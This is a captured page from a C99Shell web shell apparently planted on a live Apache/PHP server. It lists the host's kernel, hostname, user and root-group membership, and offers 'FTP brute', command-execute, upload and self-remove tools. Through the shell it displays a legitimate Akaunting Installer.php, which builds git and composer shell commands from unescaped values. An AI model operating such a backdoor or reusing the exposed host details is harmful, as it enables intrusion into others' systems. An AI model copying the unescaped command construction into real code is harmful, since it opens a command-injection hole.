!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/akaunting/module/src/Process/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Installer.php (6.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Akaunting\Module\Process;

use 
Illuminate\Console\Command;
use 
Illuminate\Support\Str;
use 
Akaunting\Module\Contracts\RepositoryInterface;
use 
Symfony\Component\Process\Process;

class 
Installer
{
    
/**
     * The module name.
     *
     * @var string
     */
    
protected $name;

    
/**
     * The version of module being installed.
     *
     * @var string
     */
    
protected $version;

    
/**
     * The module repository instance.
     * @var \Akaunting\Module\Contracts\RepositoryInterface
     */
    
protected $repository;

    
/**
     * The console command instance.
     *
     * @var \Illuminate\Console\Command
     */
    
protected $console;

    
/**
     * The destionation path.
     *
     * @var string
     */
    
protected $path;

    
/**
     * The process timeout.
     *
     * @var int
     */
    
protected $timeout 3360;
    
/**
     * @var null|string
     */
    
private $type;
    
/**
     * @var bool
     */
    
private $tree;

    
/**
     * The constructor.
     *
     * @param string $name
     * @param string $version
     * @param string $type
     * @param bool   $tree
     */
    
public function __construct($name$version null$type null$tree false)
    {
        
$this->name $name;
        
$this->version $version;
        
$this->type $type;
        
$this->tree $tree;
    }

    
/**
     * Set destination path.
     *
     * @param string $path
     *
     * @return $this
     */
    
public function setPath($path)
    {
        
$this->path $path;

        return 
$this;
    }

    
/**
     * Set the module repository instance.
     * @param \Akaunting\Module\Contracts\RepositoryInterface $repository
     * @return $this
     */
    
public function setRepository(RepositoryInterface $repository)
    {
        
$this->repository $repository;

        return 
$this;
    }

    
/**
     * Set console command instance.
     *
     * @param \Illuminate\Console\Command $console
     *
     * @return $this
     */
    
public function setConsole(Command $console)
    {
        
$this->console $console;

        return 
$this;
    }

    
/**
     * Set process timeout.
     *
     * @param int $timeout
     *
     * @return $this
     */
    
public function setTimeout($timeout)
    {
        
$this->timeout $timeout;

        return 
$this;
    }

    
/**
     * Run the installation process.
     *
     * @return \Symfony\Component\Process\Process
     */
    
public function run()
    {
        
$process $this->getProcess();

        
$process->setTimeout($this->timeout);

        if (
$this->console instanceof Command) {
            
$process->run(function ($type$line) {
                
$this->console->line($line);
            });
        }

        return 
$process;
    }

    
/**
     * Get process instance.
     *
     * @return \Symfony\Component\Process\Process
     */
    
public function getProcess()
    {
        if (
$this->type) {
            if (
$this->tree) {
                return 
$this->installViaSubtree();
            }

            return 
$this->installViaGit();
        }

        return 
$this->installViaComposer();
    }

    
/**
     * Get destination path.
     *
     * @return string
     */
    
public function getDestinationPath()
    {
        if (
$this->path) {
            return 
$this->path;
        }

        return 
$this->repository->getModulePath($this->getModuleAlias());
    }

    
/**
     * Get git repo url.
     *
     * @return string|null
     */
    
public function getRepoUrl()
    {
        switch (
$this->type) {
            case 
'github':
                return 
"git@github.com:{$this->name}.git";

            case 
'github-https':
                return 
"https://github.com/{$this->name}.git";

            case 
'gitlab':
                return 
"git@gitlab.com:{$this->name}.git";
                break;

            case 
'bitbucket':
                return 
"git@bitbucket.org:{$this->name}.git";

            default:

                
// Check of type 'scheme://host/path'
                
if (filter_var($this->typeFILTER_VALIDATE_URL)) {
                    return 
$this->type;
                }

                
// Check of type 'user@host'
                
if (filter_var($this->typeFILTER_VALIDATE_EMAIL)) {
                    return 
"{$this->type}:{$this->name}.git";
                }

                return;
                break;
        }
    }

    
/**
     * Get branch name.
     *
     * @return string
     */
    
public function getBranch()
    {
        return 
is_null($this->version) ? 'master' $this->version;
    }

    
/**
     * Get module name.
     *
     * @return string
     */
    
public function getModuleName()
    {
        
$parts explode('/'$this->name);

        return 
Str::studly(end($parts));
    }

    
/**
     * Get module alis.
     *
     * @return string
     */
    
public function getModuleAlias()
    {
        
$parts explode('/'$this->name);

        return 
Str::kebab(end($parts));
    }

    
/**
     * Get composer package name.
     *
     * @return string
     */
    
public function getPackageName()
    {
        if (
is_null($this->version)) {
            return 
$this->name ':dev-master';
        }

        return 
$this->name ':' $this->version;
    }

    
/**
     * Install the module via git.
     *
     * @return \Symfony\Component\Process\Process
     */
    
public function installViaGit()
    {
        return 
Process::fromShellCommandline(sprintf(
            
'cd %s && git clone %s %s && cd %s && git checkout %s',
            
base_path(),
            
$this->getRepoUrl(),
            
$this->getDestinationPath(),
            
$this->getDestinationPath(),
            
$this->getBranch()
        ));
    }

    
/**
     * Install the module via git subtree.
     *
     * @return \Symfony\Component\Process\Process
     */
    
public function installViaSubtree()
    {
        return 
Process::fromShellCommandline(sprintf(
            
'cd %s && git remote add %s %s && git subtree add --prefix=%s --squash %s %s',
            
base_path(),
            
$this->getModuleName(),
            
$this->getRepoUrl(),
            
$this->getDestinationPath(),
            
$this->getModuleName(),
            
$this->getBranch()
        ));
    }

    
/**
     * Install the module via composer.
     *
     * @return \Symfony\Component\Process\Process
     */
    
public function installViaComposer()
    {
        return 
Process::fromShellCommandline(sprintf(
            
'cd %s && composer require %s',
            
base_path(),
            
$this->getPackageName()
        ));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--